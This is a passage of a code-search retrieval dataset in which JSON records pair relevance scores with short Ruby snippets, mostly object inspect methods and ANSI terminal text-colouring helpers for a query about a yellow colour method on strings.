"score": "0.57973",
"text": "def details_id\n [ \"ident: #{ident_str}\",\n \"class: #{self.class.name}\",\n \"object-path: #{obj_path}\" ]\n end",
"title": ""
},
{
"docid": "3dc46dc263cf5eae8a091f39454b3f3a",
"score": "0.5796565",
"text": "def inspect\n \"#<MetaKey> id: #{self.id} [user_id: #{self.user_id}, group_id: #{self.group_id}, item_id: #{self.item_id}]\"\n end",
"title": ""
},
{
"docid": "678ea11039e8653e4afd28a6c29310f4",
"score": "0.5762473",
"text": "def api_token\r\n @record\r\n end",
"title": ""
},
{
"docid": "692f43837087ac3383abe57922ab1985",
"score": "0.5761742",
"text": "def inspect\n\t\treturn \"#<%s:0x%0x %s(%s)>\" % [\n\t\t\tself.class.name,\n\t\t\tself.object_id / 2,\n\t\t\tself.oid,\n\t\t\tself.desc,\n\t\t]\n\tend",
"title": ""
},
{
"docid": "f957caa333ad006fc7eccbddd3cdabde",
"score": "0.5761527",
"text": "def inspect\n \"#<#{self.class} #{(@name || object_id).inspect}>\"\n end",
"title": ""
},
{
"docid": "0e6a03b0c08689fcf8899d863ddc6a60",
"score": "0.57418597",
"text": "def inspect\n sprintf(\"#<%s:%#0x(%s)>\", self.class.name, object_id, to_s)\n end",
"title": ""
},
{
"docid": "b7c62018af9bb6859da0504b1ab57557",
"score": "0.5703853",
"text": "def inspect\n attributes = [\n \"gate=#{gate.inspect}\",\n \"value=#{value}\",\n ]\n \"#<#{self.class.name}:#{object_id} #{attributes.join(', ')}>\"\n end",
"title": ""
},
{
"docid": "47c9280ab6e9421ff4005125a67d0067",
"score": "0.56962204",
"text": "def inspect\n \"#<#{self.class.name}:#{object_id}>\"\n end",
"title": ""
},
{
"docid": "47c9280ab6e9421ff4005125a67d0067",
"score": "0.56962204",
"text": "def inspect\n \"#<#{self.class.name}:#{object_id}>\"\n end",
"title": ""
},
{
"docid": "c051e027b3a2b4ae0289ac14769a5743",
"score": "0.569244",
"text": "def inspect\n \"#<Heimdallr::Proxy::Record: #{@record.inspect}>\"\n end",
"title": ""
},
{
"docid": "29c672ebdf5204b15a36c7df450d8ea9",
"score": "0.5682466",
"text": "def inspect\n @inspect ||= \"#<%s:0x%x %s>\" % [self.class.name, object_id, to_s]\n end",
"title": ""
},
{
"docid": "b4a3fea955c8ad4ac9c8e5b133801301",
"score": "0.5672845",
"text": "def inspect\n \"#<#{self.class}:#{object_id} text=\\\"#{@text}\\\">\"\n end",
"title": ""
},
{
"docid": "3fd0a9b6986382037b2c1d493ad5d79c",
"score": "0.567264",
"text": "def display_id_name\n \t@rolodex.display_id_name\n end",
"title": ""
},
{
"docid": "eea75f58a87da927d84e56c0849ddbbb",
"score": "0.56697035",
"text": "def inspect\n <<-EOS.compress_lines % (object_id * 2)\n #<#{self.class.name}:0x%x\n @database=#{@adapter.name}\n @reload=#{@reload.inspect}\n @from=#{@from.inspect}\n @select=#{@select.inspect}\n @joins=#{@joins.inspect}\n @order=#{@order.inspect}\n @limit=#{@limit.inspect}\n @offset=#{@offset.inspect}\n @options=#{@options.inspect}>\n EOS\n end",
"title": ""
},
{
"docid": "0818048763c3df67f86f88d01b29f1a1",
"score": "0.56639624",
"text": "def to_s\n puts\n 35.times { print \"*\" }\n puts\n puts \"Object ID: #{self.object_id}\"\n puts \"UUID: #{@uuid}\"\n puts \"Username: #{@username}\"\n puts \"Userkey: #{@userkey}\"\n puts \"Content Type: #{@content_type}\"\n puts \"Title: #{@title}\"\n puts \"Blurb: #{@blurb}\"\n puts \"Source File: #{@sourcefile}\"\n puts \"Callback URL: #{@callbackurl}\"\n puts \"Search Term: #{@search_term}\"\n puts \"Action: #{@action}\"\n puts \"Format: #{@format}\"\n puts \"Response: #{@response.class}\"\n puts \"Player: #{@player.instance_variable_get(\"@table\").length} attribute(s)\"\n 35.times { print \"*\" }\n puts\n puts\n end",
"title": ""
},
{
"docid": "1b44f46d7ad246ef7527e476764f7e54",
"score": "0.5654299",
"text": "def inspect\n str = \"#<#{name}:#{object_id} \"\n str << \"columns=[#{columns.keys.map(&:inspect).join(', ')}]>\"\n end",
"title": ""
},
{
"docid": "a3a5b2234d8a5042abb2aa9fe27e75fd",
"score": "0.56421554",
"text": "def inspect\n attributes = [\n \"feature_name=#{feature_name.inspect}\",\n ]\n \"#<#{self.class.name}:#{object_id} #{attributes.join(', ')}>\"\n end",
"title": ""
},
{
"docid": "82fb7e65d6c1f28255503ab81394aa1a",
"score": "0.56355304",
"text": "def inspect\n \"#<#{self.class.name}:#{object_id} @name=#{name}>\"\n end",
"title": ""
},
{
"docid": "9de4b58d246a11e5383cd14d25999c96",
"score": "0.5633615",
"text": "def to_s\n \"#<#{self.class.name}:#{object_id} #{info}>\"\n end",
"title": ""
},
{
"docid": "16ff82dc3b2c7ac77ba01147c91e4a55",
"score": "0.5629696",
"text": "def inspect\n \"#<#{self.class.name}:0x#{object_id}\\n @base_url=\\\"#{@base_url}\\\" \" \\\n \"@most_recent_page=#{@most_recent_page}>\"\n end",
"title": ""
},
{
"docid": "2447617005a88e0e6e2dad0ba2233c75",
"score": "0.5624897",
"text": "def inspect\n sprintf(\n \"#<%s:%#0x NAME:%s>\", self.class.to_s, self.object_id, self.name\n )\n end",
"title": ""
},
{
"docid": "2447617005a88e0e6e2dad0ba2233c75",
"score": "0.5624897",
"text": "def inspect\n sprintf(\n \"#<%s:%#0x NAME:%s>\", self.class.to_s, self.object_id, self.name\n )\n end",
"title": ""
},
{
"docid": "2447617005a88e0e6e2dad0ba2233c75",
"score": "0.5624897",
"text": "def inspect\n sprintf(\n \"#<%s:%#0x NAME:%s>\", self.class.to_s, self.object_id, self.name\n )\n end",
"title": ""
},
{
"docid": "bd495c2270fe94cf91c20c7611416a8c",
"score": "0.56241685",
"text": "def inspect\n sprintf(\n \"#<%s:%#0x DATA:%s>\",\n self.class.to_s, self.object_id, self.to_hash.inspect\n )\n end",
"title": ""
},
{
"docid": "9313521220d37ed39a7037f0edb6e697",
"score": "0.562269",
"text": "def inspect\n \"#{self.class}:#{self.object_id.to_s(16)}\"\n end",
"title": ""
},
{
"docid": "281e790e5bb8c2cadb9ba7d222c65c2d",
"score": "0.5622004",
"text": "def displayable_details\n attributes.except(\"id\", \"created_at\", \"updated_at\")\n end",
"title": ""
},
{
"docid": "781f8950e24b3141047e9beb4d7854f9",
"score": "0.55935764",
"text": "def inspect\n attrs_nice_names = instance_variables.collect do |name|\n if @@hidden_vars.include? name\n \" #{name}=\\\"******\\\"\"\n else\n \" #{name}=#{instance_variable_get(name).inspect}\"\n end\n end.compact.join(',')\n \"#<#{self.class}:0x#{object_id}#{attrs_nice_names}>\"\n end",
"title": ""
},
{
"docid": "3af46eda5750e283d7987e8eb9fd0261",
"score": "0.5592228",
"text": "def inspect\n '<#' + self.class.to_s + ' ' +\n attrs = [[:current_state, state_name.inspect],\n [:object_type , @object.class],\n [:method_name , method_name.inspect],\n [:field_name , field_name.inspect],\n [:machine , machine.to_s]].\n map {|x| x.join('=') }.join( \" \" ) + '>'\n end",
"title": ""
},
{
"docid": "554a64e90669d8a60ce52906404a3f58",
"score": "0.55856204",
"text": "def inspect\n @id.to_s\n end",
"title": ""
},
{
"docid": "233b1f089ddb7acc73a9ac6be2d8be83",
"score": "0.557955",
"text": "def inspect\n \"#<#{self.class}:0x%x #{self.name}>\" % object_id\n end",
"title": ""
},
{
"docid": "0845239baf8e9910a19932c1ef267f13",
"score": "0.5575409",
"text": "def inspect\n \"#<#{self.class.name} access_key_id=#{access_key_id.inspect}>\"\n end",
"title": ""
},
{
"docid": "a9ebadcb7c25f4cb24681424ba0ed7b4",
"score": "0.5568734",
"text": "def to_s\r\n \"RESOURCE:#{@name} SHOW:#{@show} STATUS:#{@status}\"\r\n end",
"title": ""
},
{
"docid": "77ab102bfffbd151ddd9c9e7d109a26c",
"score": "0.55664617",
"text": "def record_identifier\n descMetadata.record_identifier\n end",
"title": ""
},
{
"docid": "227426cecd3386954e9fb678dfaa1855",
"score": "0.5565119",
"text": "def attribute_for_inspect(r,k)\n value = r.attributes[k]\n\n if value.is_a?(String) && value.length > 50\n \"#{value}\".inspect\n elsif value.is_a?(Date) || value.is_a?(Time)\n %(\"#{value.to_s(:db)}\")\n elsif defined?(UUIDTools::UUID)=='constant' && value.is_a?(UUIDTools::UUID)\n \"UUIDTools::UUID.serialize('#{value.to_param}')\"\n else\n value.inspect\n end\n end",
"title": ""
},
{
"docid": "b4eb91d11accaab406b806ec2c85eb98",
"score": "0.5562735",
"text": "def inspect\n \"#{self.class.name}:#{self.object_id} \" +\n \"@bombed=#{@bombed}, @flagged=#{@flagged}, @revealed=#{@revealed}\"\n end",
"title": ""
},
{
"docid": "ee828adc7395eca1a7ceaca5ff2bf048",
"score": "0.55522263",
"text": "def to_s\n self.token\n end",
"title": ""
},
{
"docid": "fc9e05f4d7a5e8df96c4c106fa8dd5ac",
"score": "0.55520976",
"text": "def inspect\n String.new('#<').concat(\n self.class.name, ':',\n object_id.to_s, ' ', @structure.to_s, '>'\n )\n end",
"title": ""
},
{
"docid": "15508caf3f119bdd4d943db10efc66e1",
"score": "0.5540756",
"text": "def to_s\n return \"#<#{self.class}:#{(self.object_id * 2).to_s(16)} @attributes=#{self.attributes}\"\n end",
"title": ""
},
{
"docid": "bee23290f0a4c99ebe3c79fb5229ac68",
"score": "0.5540212",
"text": "def inspect\n \"#<#{self.class.name}:0x#{object_id.to_s 16} \" \\\n \"@name=#{@name.inspect} \" \\\n \"@topic=#{@topic.inspect} \" \\\n \"@users=#{@users.inspect}>\"\n end",
"title": ""
},
{
"docid": "ffd5ce9298b422861ebd5c1f4b91eae3",
"score": "0.55169225",
"text": "def inspect\n id = self.class.primary_key ? send(self.class.primary_key) : \"none\"\n \"#<#{self.class.model_name || \"Anonymous\"} #{self.class.primary_key}: #{id}>\"\n end",
"title": ""
},
{
"docid": "f38aa7cc3656e695f631efaa0acd8de9",
"score": "0.55118483",
"text": "def inspect\n sprintf(\"#<%s:%#0x>\", self.class.to_s, self.object_id)\n end",
"title": ""
},
{
"docid": "b0d5cc043219cdcd4b2056700fc1937e",
"score": "0.55099577",
"text": "def inspect\n \"#{self.class}:#{object_id}>\"\n end",
"title": ""
},
{
"docid": "64377efbdc962a84eab27cefac0c8d97",
"score": "0.55094385",
"text": "def inspect\n return yield(self).to_s if block_given?\n value ? object_identifier + \" value=#{value.inspect}\" : object_identifier\n end",
"title": ""
},
{
"docid": "bf0323a7de8c4ec7a3ad55107b25bdfe",
"score": "0.55029786",
"text": "def inspect\n \"(#{self.class.name}:#{'0x%08x' % (object_id * 2)}#{inspect_details})\"\n end",
"title": ""
},
{
"docid": "212adc3baa39238e76f01dc70d656f4a",
"score": "0.5498904",
"text": "def show\n render(\n json: queried_record,\n fields: query_params[:fields].try(:to_unsafe_hash),\n include: query_params[:include]\n )\n end",
"title": ""
},
{
"docid": "881058006c7d77fc27bc873dcd2e3a97",
"score": "0.54976785",
"text": "def inspect\n\t\treturn \"#<%s:0x%0x %s(%s) %p %sSYNTAX: %s (length: %s)>\" % [\n\t\t\tself.class.name,\n\t\t\tself.object_id / 2,\n\t\t\tself.name,\n\t\t\tself.oid,\n\t\t\tself.desc,\n\t\t\tself.is_single? ? '(SINGLE) ' : '',\n\t\t\tself.syntax || self.syntax_oid,\n\t\t\tself.syntax_len ? self.syntax_len : 'unlimited',\n\t\t]\n\tend",
"title": ""
},
{
"docid": "0a868df1a5ee7f4424e33e3dfdeb4cbf",
"score": "0.54969734",
"text": "def get_string; id; end",
"title": ""
},
{
"docid": "c5e76d2b17297dd4f5eb24eb2d6eb95d",
"score": "0.54947513",
"text": "def inspect\n \"#<#{self.class.name}:#{object_id} @base_url=\\\"#{base_url}\\\">\"\n end",
"title": ""
},
{
"docid": "07cf0a62dee8fc5f75ae1cf9a0bfc233",
"score": "0.5494312",
"text": "def inspect\n \"Student(#{@id}, #{@name.inspect})\"\n end",
"title": ""
},
{
"docid": "07cf0a62dee8fc5f75ae1cf9a0bfc233",
"score": "0.5494312",
"text": "def inspect\n \"Student(#{@id}, #{@name.inspect})\"\n end",
"title": ""
},
{
"docid": "07cf0a62dee8fc5f75ae1cf9a0bfc233",
"score": "0.5494312",
"text": "def inspect\n \"Student(#{@id}, #{@name.inspect})\"\n end",
"title": ""
},
{
"docid": "13f401502d8e03950654a83495f8e31f",
"score": "0.54863465",
"text": "def inspect\n inspection = [\"id: #{id.inspect}\"]\n inspection += self.class.attribute_names.collect do |name|\n \"#{name}: #{attribute_for_inspect(name)}\" if has_attribute?(name)\n end\n\n \"#<#{self.class} #{inspection.compact.join(', ')}>\"\n end",
"title": ""
},
{
"docid": "d6f80d969bb362ac1c56a68ed4333ca6",
"score": "0.54749924",
"text": "def inspect\n string = \"#<#{self.class.name}:#{self.object_id} \"\n fields = [:subject].map{|field| \"#{field}=\\\"#{self.send(field)}\\\"\"}\n string << fields.join(\", \") << \">\"\n end",
"title": ""
},
{
"docid": "832acc8ff7e10129abdebfd5be3f6def",
"score": "0.5473855",
"text": "def inspect; \"#<#{self.class.name}##{self.object_id}>\"; end",
"title": ""
},
{
"docid": "9cd5e361b0a4aa755762048d76dc2ab8",
"score": "0.5471864",
"text": "def inspect\n \"#<#{self.class.name}:0x#{object_id.to_s(16)} @raw=#{@raw}>\"\n end",
"title": ""
},
{
"docid": "1c2bbc83d8aeb1daf20a481c10890e62",
"score": "0.54680026",
"text": "def render_plain\n prepare_instance_attributes.collect { |attrb| \"#{ATTRIBUTE_KEY}: #{attrb}\" }.join(\"\\n\")\n end",
"title": ""
},
{
"docid": "974400107e93308e4e3e7c7453019701",
"score": "0.5452153",
"text": "def record_identifier(record)\n { label_id: record.id, label_name: record.title }\n end",
"title": ""
},
{
"docid": "dec8f7972682ee15c677958c5047f003",
"score": "0.54454005",
"text": "def inspect\n sprintf(\"#<%s:%#0x(%s)>\", self.class.name, object_id, url.to_s)\n end",
"title": ""
},
{
"docid": "3e68104da2491e623f3edd8e4247fc44",
"score": "0.5445048",
"text": "def to_s\n \"[V3::EntityDAO: ID: #{@id}, #{@name}, value: #{@parsed_value}\" +\n ( @parent_context ? \", parent: '#{@parent_context.name}'\" : '' ) +\n \", text_token: #{@text_token}]\"\n end",
"title": ""
},
{
"docid": "306e20f328511a2b0657b7b39ac5c20c",
"score": "0.5439041",
"text": "def to_s\n \"#<#{self.class.to_s}:#{id} #{@@attributes.collect{|attribute| \"@#{attribute}=#{send(attribute.to_sym).inspect}\"}.join ', '}>\"\n end",
"title": ""
},
{
"docid": "643bef927170d96a3606e7ad6620f866",
"score": "0.54367715",
"text": "def show_attributes\n show_and_table_attributes\n end",
"title": ""
},
{
"docid": "dbcbf3ee94128d25176abc9111584dd4",
"score": "0.54356956",
"text": "def show_attributes_keys\n model_representer.show_attributes_keys\n end",
"title": ""
},
{
"docid": "fbef61aed787943ee6cc2aca505f3422",
"score": "0.5433448",
"text": "def inspect\n \"#<#{self.class.to_s}:#{object_id} #{config.to_hash.inspect} >\"\n end",
"title": ""
},
{
"docid": "6de9388f06b5fb8e160da88a76cba27c",
"score": "0.54305625",
"text": "def to_s\n \"#<#{self.class.name}:0x#{object_id.to_s(16).rjust(14, \"0\")} id='#{id}' display_name='#{display_name}'>\"\n end",
"title": ""
},
{
"docid": "cec0fc6296454fbd7638ac3011259f2f",
"score": "0.54291075",
"text": "def inspect\n \"<#{self.class}:#{@_id}>\\n{\\n\" +\n _all_attributes.map do |attr|\n ivar = ('@' + attr.to_s).to_sym\n if (value = instance_variable_get(ivar)).respond_to?(:is_poxreference?)\n \" #{attr} => <PEROBS::ObjectBase:#{value._id}>\"\n else\n \" #{attr} => #{value.inspect}\"\n end\n end.join(\",\\n\") +\n \"\\n}\\n\"\n end",
"title": ""
},
{
"docid": "153aa7a6717d67df3fe97fa652456c66",
"score": "0.54273987",
"text": "def simple_inspector\n \"#<#{klassinfo}:0x#{get_id}>\"\n end",
"title": ""
},
{
"docid": "f8e70bfc9c5c228bccebd7ccfd77e9ea",
"score": "0.54184437",
"text": "def identifier\n emma_recordId.to_s\n end",
"title": ""
},
{
"docid": "845670c42596eb333b1f386c23ddbd09",
"score": "0.5418223",
"text": "def inspect\n vars =\n instance_variables.map do |var|\n \"#{var}=%s\" % inspect_item(instance_variable_get(var))\n end\n \"#<#{self.class.name}:#{object_id} %s>\" % vars.join(' ')\n end",
"title": ""
},
{
"docid": "c40f6d58031a0aed6e12dd86567a94c0",
"score": "0.5415939",
"text": "def get_show_details\n request = ImdbIdSearch.new(params)\n show_obj = request.create_show_object\n render json: show_obj\n end",
"title": ""
},
{
"docid": "765d0e4ba4aedf18072da89f807e1092",
"score": "0.54142773",
"text": "def inspect\n return sprintf(\"#<%s:%#0x>\", self.class.to_s, self.object_id)\n end",
"title": ""
},
{
"docid": "acab5f23b3590b19b9bccc88048b07d3",
"score": "0.5411488",
"text": "def display_name\n read_attribute :id\n end",
"title": ""
},
{
"docid": "acab5f23b3590b19b9bccc88048b07d3",
"score": "0.5411488",
"text": "def display_name\n read_attribute :id\n end",
"title": ""
},
{
"docid": "acab5f23b3590b19b9bccc88048b07d3",
"score": "0.5411488",
"text": "def display_name\n read_attribute :id\n end",
"title": ""
}
] |
6c126eb90331e263a9ed4d9422dca09a
|
color yellow method defined on string object
|
[
{
"docid": "93a066ab156b8fe1a92683f700ed23aa",
"score": "0.0",
"text": "def yellow\n shade(33)\n end",
"title": ""
}
] |
[
{
"docid": "4cba2b9937224a9b7901385b05399cd4",
"score": "0.815202",
"text": "def yellow(str)\n colorize(str, 33)\n end",
"title": ""
},
{
"docid": "688042d3f311e75f781383f6bb90b579",
"score": "0.7932239",
"text": "def yellow(text)\n colorize(text,33)\n end",
"title": ""
},
{
"docid": "8c51f3379fd494c65475a599bddd50b1",
"score": "0.7846571",
"text": "def text_yellow(text); colour(text, '33');end",
"title": ""
},
{
"docid": "e62b199e70e52f80fd046f6699e09d05",
"score": "0.78177464",
"text": "def highlight_yellow(text); colour(text, '43');end",
"title": ""
},
{
"docid": "2d4c5c0c7520497326eceae6d1aead21",
"score": "0.777971",
"text": "def yellow(string)\n ::Nucleon::Util::Console.yellow(string)\n end",
"title": ""
},
{
"docid": "fef638d33ca6fc94d8a5a5cd7cde3749",
"score": "0.7759348",
"text": "def bg_yellow(str)\n colorize(str, 43)\n end",
"title": ""
},
{
"docid": "c9bddbadab64d2a20ef07337c7624fbb",
"score": "0.7720671",
"text": "def green(text); colorize(text, 32);end",
"title": ""
},
{
"docid": "458697e2dc78f15363f4acc85b4e6bbf",
"score": "0.7688842",
"text": "def green(text)\n colorize(text, 32)\nend",
"title": ""
},
{
"docid": "f22bb024ffe964d0170386de4928d35a",
"score": "0.760554",
"text": "def yellow(text)\n Rainbow(text).yellow\n end",
"title": ""
},
{
"docid": "c2ec7ee35ff8ee88a6fb994ad3742f48",
"score": "0.7590393",
"text": "def yellow\n colorize(33)\n end",
"title": ""
},
{
"docid": "bcd60dfb8a7cfd21ea06c1cb5a561942",
"score": "0.75657314",
"text": "def yellow(string)\n \"\\033[0;33m#{string}\\e[0m\"\nend",
"title": ""
},
{
"docid": "bcd60dfb8a7cfd21ea06c1cb5a561942",
"score": "0.75657314",
"text": "def yellow(string)\n \"\\033[0;33m#{string}\\e[0m\"\nend",
"title": ""
},
{
"docid": "bcd60dfb8a7cfd21ea06c1cb5a561942",
"score": "0.75657314",
"text": "def yellow(string)\n \"\\033[0;33m#{string}\\e[0m\"\nend",
"title": ""
},
{
"docid": "bcd60dfb8a7cfd21ea06c1cb5a561942",
"score": "0.75657314",
"text": "def yellow(string)\n \"\\033[0;33m#{string}\\e[0m\"\nend",
"title": ""
},
{
"docid": "5dfdb8e55b40abda3d5dd29c9c7846f9",
"score": "0.755589",
"text": "def red(text); colorize(text, 31);end",
"title": ""
},
{
"docid": "d20aa158aabf7baa1ee839bdfde1edde",
"score": "0.7549145",
"text": "def highlight_blue(text); colour(text, '44');end",
"title": ""
},
{
"docid": "1318d7e8171b7700fc73c75d4a8619fb",
"score": "0.7548232",
"text": "def text_blue(text); colour(text, '34');end",
"title": ""
},
{
"docid": "074ad39c6135dce00b46613681a2f818",
"score": "0.75394297",
"text": "def highlight_teal(text); colour(text, '46');end",
"title": ""
},
{
"docid": "a2c40d1303a9619db37a48ae13e80fd8",
"score": "0.7535875",
"text": "def bold_yellow(text); colour(text, '93');end",
"title": ""
},
{
"docid": "d008097c661963316769c64d22ce1be5",
"score": "0.75351286",
"text": "def yellow_text(text)\n colorize(text, 33)\n end",
"title": ""
},
{
"docid": "ae061e6b66b5be740273bab9b86d659b",
"score": "0.7530126",
"text": "def red(text); colorize(text, 31); end",
"title": ""
},
{
"docid": "c3e431079fe1b21683043f7335d8cccd",
"score": "0.75218874",
"text": "def yellow\n return colorize(33)\n end",
"title": ""
},
{
"docid": "c3e431079fe1b21683043f7335d8cccd",
"score": "0.75218874",
"text": "def yellow\n return colorize(33)\n end",
"title": ""
},
{
"docid": "6eae1bb7dd15f03e506be6af2371dc98",
"score": "0.7510089",
"text": "def highlight_green(text); colour(text, '42');end",
"title": ""
},
{
"docid": "e1bc274875f3fc558037d1c56b948993",
"score": "0.75000733",
"text": "def puts_yellow(string)\n puts strip(string).yellow\n end",
"title": ""
},
{
"docid": "e1bc274875f3fc558037d1c56b948993",
"score": "0.75000733",
"text": "def puts_yellow(string)\n puts strip(string).yellow\n end",
"title": ""
},
{
"docid": "7e07e7147b1f1ba6a91bd7638727f2ca",
"score": "0.7481415",
"text": "def red(text)\n colorize(text, 31)\nend",
"title": ""
},
{
"docid": "7e07e7147b1f1ba6a91bd7638727f2ca",
"score": "0.7481415",
"text": "def red(text)\n colorize(text, 31)\nend",
"title": ""
},
{
"docid": "cd5261b719b13b41ca1905066857a45b",
"score": "0.7468276",
"text": "def highlight_red(text); colour(text, '41');end",
"title": ""
},
{
"docid": "63f18af8cf37f027d108445a1bedeff1",
"score": "0.746497",
"text": "def color(string, *colors)\n string\n end",
"title": ""
},
{
"docid": "9df788f011b35208ce8334bd63ce0b29",
"score": "0.74461263",
"text": "def red(string)\n ::Nucleon::Util::Console.red(string)\n end",
"title": ""
},
{
"docid": "560b7d8a7975d9d8fffe6ae69524dd42",
"score": "0.7420414",
"text": "def green(str)\n colorize(str, 32)\n end",
"title": ""
},
{
"docid": "637ca439dd055635206cae3c9e5759cb",
"score": "0.7419124",
"text": "def make_color(str, color)\n colors = {:red => 31, :green => 32, :yellow => 33, :blue => 34}\n puts \"\\e[#{colors[color]}m#{str}\\e[0m\" #you can replace str->self, so that you can call this method using: \"String\".make_color(:red)\nend",
"title": ""
},
{
"docid": "b12017093d8b6134acdd5761452e4dce",
"score": "0.7411561",
"text": "def yellow(text, color = false)\n colorize(text, \"\\e[33m\", color)\nend",
"title": ""
},
{
"docid": "6714492f02d6ae1ee2a8c15507845c74",
"score": "0.740038",
"text": "def color(color, str)\n case color\n when :red\n red(str)\n when :green\n green(str)\n when :magenta\n magenta(str)\n else\n str\n end\n end",
"title": ""
},
{
"docid": "a52fa1f188b3b7d747477d03ef1769bb",
"score": "0.73891574",
"text": "def green(str)\n colorize(str, 32)\n end",
"title": ""
},
{
"docid": "7b4e9133fcf7f302c76cbc0d9e22c947",
"score": "0.73863703",
"text": "def blue(text)\n colorize(text, 34)\nend",
"title": ""
},
{
"docid": "4a7b7f08a4fd77c63537cc8f0b84b2d9",
"score": "0.737686",
"text": "def yellow; colorize(self, \"\\e[1;33m\"); end",
"title": ""
},
{
"docid": "cda2637e3e124e9b5742ad1b07182a35",
"score": "0.73621297",
"text": "def highlight_purple(text); colour(text, '45');end",
"title": ""
},
{
"docid": "713d857877c30eb1d4ad527b68c16050",
"score": "0.734637",
"text": "def pink(string)\n colorize(string, 35)\nend",
"title": ""
},
{
"docid": "2ba28bf4293d9f363a06da98df7afde8",
"score": "0.73258305",
"text": "def red(str)\n \"\\e[31m#{str}\\e[0m\"\nend",
"title": ""
},
{
"docid": "2ba28bf4293d9f363a06da98df7afde8",
"score": "0.73258305",
"text": "def red(str)\n \"\\e[31m#{str}\\e[0m\"\nend",
"title": ""
},
{
"docid": "2ba28bf4293d9f363a06da98df7afde8",
"score": "0.73258305",
"text": "def red(str)\n \"\\e[31m#{str}\\e[0m\"\nend",
"title": ""
},
{
"docid": "2ba28bf4293d9f363a06da98df7afde8",
"score": "0.73258305",
"text": "def red(str)\n \"\\e[31m#{str}\\e[0m\"\nend",
"title": ""
},
{
"docid": "2ba28bf4293d9f363a06da98df7afde8",
"score": "0.73258305",
"text": "def red(str)\n \"\\e[31m#{str}\\e[0m\"\nend",
"title": ""
},
{
"docid": "2ba28bf4293d9f363a06da98df7afde8",
"score": "0.73258305",
"text": "def red(str)\n \"\\e[31m#{str}\\e[0m\"\nend",
"title": ""
},
{
"docid": "2ba28bf4293d9f363a06da98df7afde8",
"score": "0.73258305",
"text": "def red(str)\n \"\\e[31m#{str}\\e[0m\"\nend",
"title": ""
},
{
"docid": "2ba28bf4293d9f363a06da98df7afde8",
"score": "0.73258305",
"text": "def red(str)\n \"\\e[31m#{str}\\e[0m\"\nend",
"title": ""
},
{
"docid": "2ba28bf4293d9f363a06da98df7afde8",
"score": "0.73258305",
"text": "def red(str)\n \"\\e[31m#{str}\\e[0m\"\nend",
"title": ""
},
{
"docid": "bc8a7ff2b45d0142286a62e16d76251a",
"score": "0.73152936",
"text": "def highlight_string( string )\n\t\t\treturn hl( string ).color( :highlight )\n\t\tend",
"title": ""
},
{
"docid": "b7edfe34bfd5ffb666fb4ac084cfc8fb",
"score": "0.72875655",
"text": "def yellow; \"\\e[33m#{self}\\e[0m\" end",
"title": ""
},
{
"docid": "ecff75a2a5cbfc881749048a50ec8d5f",
"score": "0.72717035",
"text": "def text_red(text); colour(text, '31');end",
"title": ""
},
{
"docid": "27661f3fe98200aae462ce4f34326103",
"score": "0.72646344",
"text": "def text_green(text); colour(text, '32');end",
"title": ""
},
{
"docid": "408581e19285f83d2199f1ca5d2d241f",
"score": "0.7250416",
"text": "def red(string)\n if $options.color\n \"\\e[1;31m#{string}\\e[0m\"\n else\n string\n end\nend",
"title": ""
},
{
"docid": "ef49f3394dc996556aa8ffd6c74e0452",
"score": "0.72362095",
"text": "def green(string)\n \"\\033[0;32m#{string}\\e[0m\"\nend",
"title": ""
},
{
"docid": "ef49f3394dc996556aa8ffd6c74e0452",
"score": "0.72362095",
"text": "def green(string)\n \"\\033[0;32m#{string}\\e[0m\"\nend",
"title": ""
},
{
"docid": "ef49f3394dc996556aa8ffd6c74e0452",
"score": "0.72362095",
"text": "def green(string)\n \"\\033[0;32m#{string}\\e[0m\"\nend",
"title": ""
},
{
"docid": "ef49f3394dc996556aa8ffd6c74e0452",
"score": "0.72362095",
"text": "def green(string)\n \"\\033[0;32m#{string}\\e[0m\"\nend",
"title": ""
},
{
"docid": "a6a48bcc49b17353e8aede932b747614",
"score": "0.72259945",
"text": "def bold_teal(text); colour(text, '96');end",
"title": ""
},
{
"docid": "cd560b1690b4a49ed2dd1ff36b48da5a",
"score": "0.72200227",
"text": "def red(str)\n colorize(str, 31)\n end",
"title": ""
},
{
"docid": "f16f29b5f0597b6810722bfc9cb0096d",
"score": "0.7216735",
"text": "def red(text)\n Rainbow(text).red\n end",
"title": ""
},
{
"docid": "babdf935c763a251d480c55a3a91ce02",
"score": "0.7215794",
"text": "def bold_red(text); colour(text, '91');end",
"title": ""
},
{
"docid": "966d65639c3350070b99c19d34563db7",
"score": "0.7197062",
"text": "def green(string)\n ::Nucleon::Util::Console.green(string)\n end",
"title": ""
},
{
"docid": "b7eafc85e8985932d1038f11b311a6e7",
"score": "0.7188938",
"text": "def yellow(text)\n colourize(text, colour_code: YELLOW)\n end",
"title": ""
},
{
"docid": "7b382d3a3e5c8a48405437ab24f5d9e5",
"score": "0.7184474",
"text": "def bg_red(str)\n colorize(str, 41)\n end",
"title": ""
},
{
"docid": "4975a55266cf3274ac85d4e0125fdf55",
"score": "0.71817374",
"text": "def text_purple(text); colour(text, '35');end",
"title": ""
},
{
"docid": "0390dcd3395a02e156652391ab159e77",
"score": "0.7171667",
"text": "def green(string)\n if $options.color\n \"\\e[1;32m#{string}\\e[0m\"\n else\n string\n end\nend",
"title": ""
},
{
"docid": "b10686039e8be2e0c38f2fdc1e71c2c3",
"score": "0.71574455",
"text": "def green(text)\n \"\\e[32m#{text}\\e[0m\"\nend",
"title": ""
},
{
"docid": "ecbbdca753dfa4b10d9616aba5077bc3",
"score": "0.7154353",
"text": "def blue(string) \n \"\\e[34m#{string}\\e[0m\"\n end",
"title": ""
},
{
"docid": "56887c9c07738793ea9efcd29cc03e3a",
"score": "0.7151133",
"text": "def yellow\n \"\\e[33m#{self}\\e[0m\"\n end",
"title": ""
},
{
"docid": "19de0f2cb58ee2dc27574a354244311b",
"score": "0.7137345",
"text": "def puts_blue(string)\n puts strip(string).blue\n end",
"title": ""
},
{
"docid": "14824dd2389a4d0040689291f6406362",
"score": "0.7110787",
"text": "def blue(string)\n colorize(string, 36)\nend",
"title": ""
},
{
"docid": "9fb5e6dff595476af0fa0cdc38c895c5",
"score": "0.709103",
"text": "def red(str)\n (COLOR == true) ? Term::ANSIColor.red(str) : str\n end",
"title": ""
},
{
"docid": "c619019c2c95c86ce92910de5e70b279",
"score": "0.7064403",
"text": "def blue(string)\n ::Nucleon::Util::Console.blue(string)\n end",
"title": ""
},
{
"docid": "97ad8ea66e4c3622bba8b20d72725dc8",
"score": "0.7057892",
"text": "def bg_green(str)\n colorize(str, 42)\n end",
"title": ""
},
{
"docid": "d47fb5dfa842efbbec37d846a3a6d7c5",
"score": "0.70566684",
